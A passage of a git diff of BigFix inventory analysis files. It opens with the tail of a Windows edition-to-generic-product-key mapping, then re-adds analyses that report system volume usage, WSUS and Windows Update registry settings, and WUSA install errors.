MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, &quot;&amp;&quot;Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, &quot;&amp;&quot;Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, &quot;&amp;&quot;Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, &quot;&amp;&quot;Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, &quot;&amp;&quot;Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, &quot;&amp;&quot;Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, &quot;&amp;&quot;Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, &quot;&amp;&quot;Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, &quot;&amp;&quot;Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes b/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes
index 090a23155..c7c076ac9 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows System Volume Size & Usage
-  ID       : 2994588
-  Author   : JasonWalker
-  Domain   : SYST
-  Imported : 2013-10-21T14:03:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows System Volume Size &amp; Usage</Title>
-    <Description><![CDATA[This Analysis was created to determine the existance, size, and free space of the Windows System Volume.&nbsp; Normally this is a dedicated partition with no drive letter assigned. ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6"]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 21 Oct 2013 20:59:36 +0000</Value>
-    </MIMEField>
-    <Domain>SYST</Domain>
-    <Property ID="1" Name="Volume Label" EvaluationPeriod="P1D">((if exists string value of properties &quot;Label&quot; of it then string value of properties (&quot;Label&quot;) of it else &quot;&lt;none&gt;&quot;)) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
-    <Property ID="2" Name="Drive Letter" EvaluationPeriod="P1D">((if exists string value of properties &quot;DriveLetter&quot; of it then string value of properties (&quot;DriveLetter&quot;) of it else &quot;&lt;none&gt;&quot;)) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
-    <Property ID="3" Name="Capacity" EvaluationPeriod="P1D">((string value of property &quot;Capacity&quot; of it as integer / 1024 / 1024) as string &amp; &quot; MB&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
-    <Property ID="4" Name="Free Space" EvaluationPeriod="P1D">((string value of property &quot;FreeSpace&quot; of it as integer / 1024 / 1024) as string &amp; &quot; MB&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
-    <Property ID="5" Name="Free %" EvaluationPeriod="PT12H">((string value of property &quot;FreeSpace&quot; of it as floating point / string value of property &quot;Capacity&quot; of it as floating point * 100) as integer as string &amp; &quot; percent free&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows System Volume Size & Usage
+  ID       : 2994588
+  Author   : JasonWalker
+  Domain   : SYST
+  Imported : 2013-10-21T14:03:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows System Volume Size &amp; Usage</Title>
+    <Description><![CDATA[This Analysis was created to determine the existance, size, and free space of the Windows System Volume.&nbsp; Normally this is a dedicated partition with no drive letter assigned. ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 21 Oct 2013 20:59:36 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <Property ID="1" Name="Volume Label" EvaluationPeriod="P1D">((if exists string value of properties &quot;Label&quot; of it then string value of properties (&quot;Label&quot;) of it else &quot;&lt;none&gt;&quot;)) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="2" Name="Drive Letter" EvaluationPeriod="P1D">((if exists string value of properties &quot;DriveLetter&quot; of it then string value of properties (&quot;DriveLetter&quot;) of it else &quot;&lt;none&gt;&quot;)) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="3" Name="Capacity" EvaluationPeriod="P1D">((string value of property &quot;Capacity&quot; of it as integer / 1024 / 1024) as string &amp; &quot; MB&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="4" Name="Free Space" EvaluationPeriod="P1D">((string value of property &quot;FreeSpace&quot; of it as integer / 1024 / 1024) as string &amp; &quot; MB&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="5" Name="Free %" EvaluationPeriod="PT12H">((string value of property &quot;FreeSpace&quot; of it as floating point / string value of property &quot;Capacity&quot; of it as floating point * 100) as integer as string &amp; &quot; percent free&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes
index 7844624cd..2086cd59e 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Update & WSUS Audit
-  ID       : 69
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-11T10:03:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Update &amp; WSUS Audit</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 11 Dec 2012 15:57:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Last Windows Update Success" EvaluationPeriod="P2D">if(not exists value &quot;LastSuccessTime&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results\Install&quot; of native registry) then &quot;No Windows Updates installed&quot; else (value &quot;LastSuccessTime&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results\Install&quot; of native registry as string)</Property>
-    <Property ID="2" Name="SusClientId" EvaluationPeriod="P2D">if(not exists value &quot;SusClientId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate&quot; of native registry) then &quot;No SUS ID&quot; else (value &quot;SusClientId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate&quot; of native registry as string)</Property>
-    <Property ID="3" Name="WSUS" EvaluationPeriod="P2D">if(not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry OR not exists value &quot;WUServer&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry) then &quot;n/a&quot; else (value &quot;WUServer&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string)</Property>
-    <Property ID="4" Name="Windows Install Date" EvaluationPeriod="P1D">((value &quot;InstallDate&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as integer) * second) + (&quot;01 Jan 1970 00:00:00&quot; as local time)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Update & WSUS Audit
+  ID       : 69
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-11T10:03:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Update &amp; WSUS Audit</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 11 Dec 2012 15:57:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Last Windows Update Success" EvaluationPeriod="P2D">if(not exists value &quot;LastSuccessTime&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results\Install&quot; of native registry) then &quot;No Windows Updates installed&quot; else (value &quot;LastSuccessTime&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results\Install&quot; of native registry as string)</Property>
+    <Property ID="2" Name="SusClientId" EvaluationPeriod="P2D">if(not exists value &quot;SusClientId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate&quot; of native registry) then &quot;No SUS ID&quot; else (value &quot;SusClientId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate&quot; of native registry as string)</Property>
+    <Property ID="3" Name="WSUS" EvaluationPeriod="P2D">if(not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry OR not exists value &quot;WUServer&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry) then &quot;n/a&quot; else (value &quot;WUServer&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string)</Property>
+    <Property ID="4" Name="Windows Install Date" EvaluationPeriod="P1D">((value &quot;InstallDate&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as integer) * second) + (&quot;01 Jan 1970 00:00:00&quot; as local time)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes
index 8cb09642e..6d42f55cd 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes	
@@ -1,24 +1,24 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Update - WUSA - Errors while Installing Updates
-  ID       : 2998673
-  Author   : orbiton
-  Domain   : BESC
-  Imported : 2022-04-23T20:35:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Update - WUSA - Errors while Installing Updates</Title>
-    <Description>Windows Update - WUSA - Errors while Installing Updates</Description>
-    <Relevance>exists records whose (source of it = &quot;Microsoft-Windows-WUSA&quot; and event id of it = 3) of event log &quot;Setup&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 10 Jan 2022 10:06:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="WUSA Errors">(time generated of it, &quot;Record ID:&quot; &amp; record number of it as string, &quot;Event ID:&quot; &amp; event id of it as string, description of it) of records whose (source of it = &quot;Microsoft-Windows-WUSA&quot; and event id of it = 3) of event log &quot;Setup&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Update - WUSA - Errors while Installing Updates
+  ID       : 2998673
+  Author   : orbiton
+  Domain   : BESC
+  Imported : 2022-04-23T20:35:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Update - WUSA - Errors while Installing Updates</Title>
+    <Description>Windows Update - WUSA - Errors while Installing Updates</Description>
+    <Relevance>exists records whose (source of it = &quot;Microsoft-Windows-WUSA&quot; and event id of it = 3) of event log &quot;Setup&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 10 Jan 2022 10:06:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="WUSA Errors">(time generated of it, &quot;Record ID:&quot; &amp; record number of it as string, &quot;Event ID:&quot; &amp; event id of it as string, description of it) of records whose (source of it = &quot;Microsoft-Windows-WUSA&quot; and event id of it = 3) of event log &quot;Setup&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes
index 256295b0d..c41b648ed 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Update check results - Windows
-  ID       : 2998507
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-12-23T15:40:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Update check results - Windows</Title>
-    <Description><![CDATA[<P>This analysis reads the results from this action: <A href="https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes">https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>exists files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 23 Dec 2016 23:28:50 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="numUpdates" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Software&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
-    <Property ID="3" Name="numDrivers" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Driver&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
-    <Property ID="4" Name="numTotal" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Number&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
-    <Property ID="6" Name="numHidden" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Hidden&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
-    <Property ID="7" Name="last check for updates" EvaluationPeriod="PT12H">modification times of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
-    <Property ID="8" Name="list of updates" EvaluationPeriod="P2D">unique values of (it as trimmed string) of following texts of firsts &quot;=&quot; of variables whose(it starts with &quot;[Windows Updates].Software&quot; AND it does not start with &quot;[Windows Updates].Software=&quot; AND it does not contain &quot;=Definition Update for Windows Defender&quot; AND it does not contain &quot;=Microsoft Silverlight (&quot;) of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Update check results - Windows
+  ID       : 2998507
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-12-23T15:40:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Update check results - Windows</Title>
+    <Description><![CDATA[<P>This analysis reads the results from this action: <A href="https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes">https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>exists files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Dec 2016 23:28:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="numUpdates" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Software&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="3" Name="numDrivers" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Driver&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="4" Name="numTotal" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Number&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="6" Name="numHidden" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Hidden&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="7" Name="last check for updates" EvaluationPeriod="PT12H">modification times of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="8" Name="list of updates" EvaluationPeriod="P2D">unique values of (it as trimmed string) of following texts of firsts &quot;=&quot; of variables whose(it starts with &quot;[Windows Updates].Software&quot; AND it does not start with &quot;[Windows Updates].Software=&quot; AND it does not contain &quot;=Definition Update for Windows Defender&quot; AND it does not contain &quot;=Microsoft Silverlight (&quot;) of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes
index 618f8dd32..8a76f9788 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Updates - Windows
-  ID       : 2998397
-  Author   : strawgate
-  Domain   : BES
-  Imported : 2016-09-13T16:49:13
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Updates - Windows</Title>
-    <Description><![CDATA[Provides the current configuration of WSUS on the target system
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BES </Domain>
-    <Property ID="1" Name="WSUS - Client Group - Windows" EvaluationPeriod="P1D">values &quot;TargetGroup&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry</Property>
-    <Property ID="2" Name="WSUS - Update Server - Windows" EvaluationPeriod="P1D">values &quot;WUServer&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry</Property>
-    <Property ID="3" Name="WSUS - Automatic Update Method - Windows" EvaluationPeriod="P1D">(if (it = &quot;2&quot;) then (&quot;Notify before download.&quot;) else (if (it = &quot;3&quot;) then (&quot;Automatically download and notify of installation.&quot;) else (if (it = &quot;4&quot;) then &quot;Automatic download and scheduled installation&quot; else (if (it = &quot;5&quot;) then &quot;Automatic Updates is required, but end users can configure it.&quot; else ERROR &quot;Value not recognized&quot;)))) of (value &quot;AUOptions&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&quot; of native registry as string)</Property>
-    <Property ID="4" Name="WSUS - Minor Updates Silent Installation - Windows" EvaluationPeriod="P1D">if (value &quot;AutoInstallMinorUpdates&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string | &quot;0&quot; = &quot;1&quot; ) then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
-    <Property ID="5" Name="WSUS - Automatic Update State - Windows" EvaluationPeriod="P1D">if (value &quot;NoAutoUpdate&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string | &quot;0&quot; = &quot;1&quot; ) then &quot;Disabled&quot; else &quot;Enabled&quot;</Property>
-    <Property ID="6" Name="WSUS - No Reboot with Logged On User - Windows" EvaluationPeriod="P1D">(if (it = &quot;-1&quot;) then (&quot;Not Configured&quot;) else (if (it = &quot;0&quot;) then &quot;Disabled&quot; else (if (it = &quot;1&quot;) then &quot;Enabled&quot; else ERROR &quot;Unknown Value&quot;))) of (value &quot;NoAutoRebootWithLoggedOnUsers&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of native registry as string | &quot;-1&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Updates - Windows
+  ID       : 2998397
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2016-09-13T16:49:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Updates - Windows</Title>
+    <Description><![CDATA[Provides the current configuration of WSUS on the target system
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BES </Domain>
+    <Property ID="1" Name="WSUS - Client Group - Windows" EvaluationPeriod="P1D">values &quot;TargetGroup&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry</Property>
+    <Property ID="2" Name="WSUS - Update Server - Windows" EvaluationPeriod="P1D">values &quot;WUServer&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry</Property>
+    <Property ID="3" Name="WSUS - Automatic Update Method - Windows" EvaluationPeriod="P1D">(if (it = &quot;2&quot;) then (&quot;Notify before download.&quot;) else (if (it = &quot;3&quot;) then (&quot;Automatically download and notify of installation.&quot;) else (if (it = &quot;4&quot;) then &quot;Automatic download and scheduled installation&quot; else (if (it = &quot;5&quot;) then &quot;Automatic Updates is required, but end users can configure it.&quot; else ERROR &quot;Value not recognized&quot;)))) of (value &quot;AUOptions&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&quot; of native registry as string)</Property>
